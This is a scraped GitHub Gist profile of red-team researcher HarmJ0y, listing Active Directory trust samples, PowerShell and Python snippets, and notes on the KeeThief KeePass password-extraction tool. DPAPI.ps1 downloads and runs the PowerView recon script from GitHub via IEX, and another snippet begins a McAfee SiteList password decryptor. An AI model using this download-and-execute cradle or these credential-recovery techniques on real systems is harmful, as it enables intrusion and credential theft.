Skip to content

Instantly share code, notes, and snippets.

View HarmJ0y's full-sized avatar
💭
Coding towards chaotic good while living on the decision boundary

Will Schroeder HarmJ0y

💭
Coding towards chaotic good while living on the decision boundary
View GitHub Profile
@HarmJ0y
HarmJ0y / trusts.csv
Created December 29, 2014 06:20
Simple Domain Trust Output
SourceDomain TargetDomain TrustType TrustDirection
finance.mothership.com mothership.com ParentChild Bidirectional
mothership.com corp.mothership.com ParentChild Bidirectional
mothership.com finance.mothership.com ParentChild Bidirectional
mothership.com engineering.mothership.com ParentChild Bidirectional
corp.mothership.com mothership.com ParentChild Bidirectional
corp.mothership.com subsidiary.com External Inbound
finance.mothership.com mothership.com ParentChild Bidirectional
engineering.mothership.com mothership.com ParentChild Bidirectional
subsidiary.com product.subsidiary.com ParentChild Bidirectional
@HarmJ0y
HarmJ0y / trusts_complex.csv
Created December 29, 2014 06:21
More Complex Domain Trust Example
SourceDomain TargetDomain TrustType TrustDirection
finance.mothership.com mothership.com ParentChild Bidirectional
mothership.com corp.mothership.com ParentChild Bidirectional
mothership.com finance.mothership.com ParentChild Bidirectional
mothership.com contracts.mothership.com ParentChild Bidirectional
corp.mothership.com mothership.com ParentChild Bidirectional
contracts.mothership.com mothership.com ParentChild Bidirectional
contracts.mothership.com product.othercompany.com External Inbound
product.othercompany.com contracts.mothership.com External Outbound
product.othercompany.com othercompany.com ParentChild Bidirectional
### Keybase proof
I hereby claim:
* I am harmj0y on github.
* I am harmj0y (https://keybase.io/harmj0y) on keybase.
* I have a public key whose fingerprint is FFD5 77A3 2B3A 2B41 11F4 383A FA2F 9AA5 3110 89D3
To claim this, I am signing this object:
@HarmJ0y
HarmJ0y / Translate-Canonical.ps1
Created September 17, 2015 22:39
Translate-Canonical
function Translate-Canonical {
<#
.SYNOPSIS
Converts a user@fqdn to NT4 format.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
#>
[CmdletBinding()]
param(
[String]$User
@HarmJ0y
HarmJ0y / Get-DecryptedSitelistPassword.ps1
Created February 12, 2016 03:05
Get-DecryptedSitelistPassword.ps1
function Get-DecryptedSitelistPassword {
# PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
# Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
# port by @harmj0y
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
$B64Pass
)
@HarmJ0y
HarmJ0y / smb_hoster.py
Created June 4, 2015 00:39
smb_hoster.py
#!/usr/bin/python
from impacket import smbserver
import sys, argparse, threading, ConfigParser, time, os
class ThreadedSMBServer(threading.Thread):
"""
Threaded SMB server that can be spun up locally.
"""
@HarmJ0y
HarmJ0y / EncryptedStoreTests.ps1
Created August 31, 2016 22:28
Encrypted Store Tests
$RSA = New-RSAKeyPair
# local tests
$ComputerName = 'localhost'
$StorePath = 'C:\Temp\temp.bin'
Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!'
Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List
Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
@HarmJ0y
HarmJ0y / anon.ps1
Created April 18, 2016 05:06
anon.ps1
$GroupData = @{}
$UserData = @{}
$ServerData = @{}
Import-CSV .\DomainGroups.csv | ForEach-Object {
if($GroupData[$_.GroupName]) {
$_.GroupName = $GroupData[$_.GroupName]
}
else {
$guid = ([guid]::NewGuid()).Guid
@HarmJ0y
HarmJ0y / DPAPI.ps1
Created July 31, 2017 21:16
DPAPI.ps1
Add-Type -AssemblyName System.Security
$Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
$Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)
$EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)
IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))
@HarmJ0y
HarmJ0y / KeeThief.markdown
Last active March 20, 2020 19:43
KeeThief clarification points

A few clarification points for the "KeeThief – A Case Study in Attacking KeePass Part 2" post:

  1. KeeThief doesn't require local administrator rights, only rights to access the KeePass.exe process space you're targeting.

  2. KeeThief.ps1 is fully-self self-contained (no dependencies and no files dropped to disk) and PowerShell Version 2 compliant (so it will work on Windows 7+).

  3. Secure desktop doesn't matter/come into play as a keylogger isn't used or needed.

  4. This approach is different from KeeFarce - KeeThief recovers the plaintext master password and other key material from memory instead of calling internal methods to export the database contents.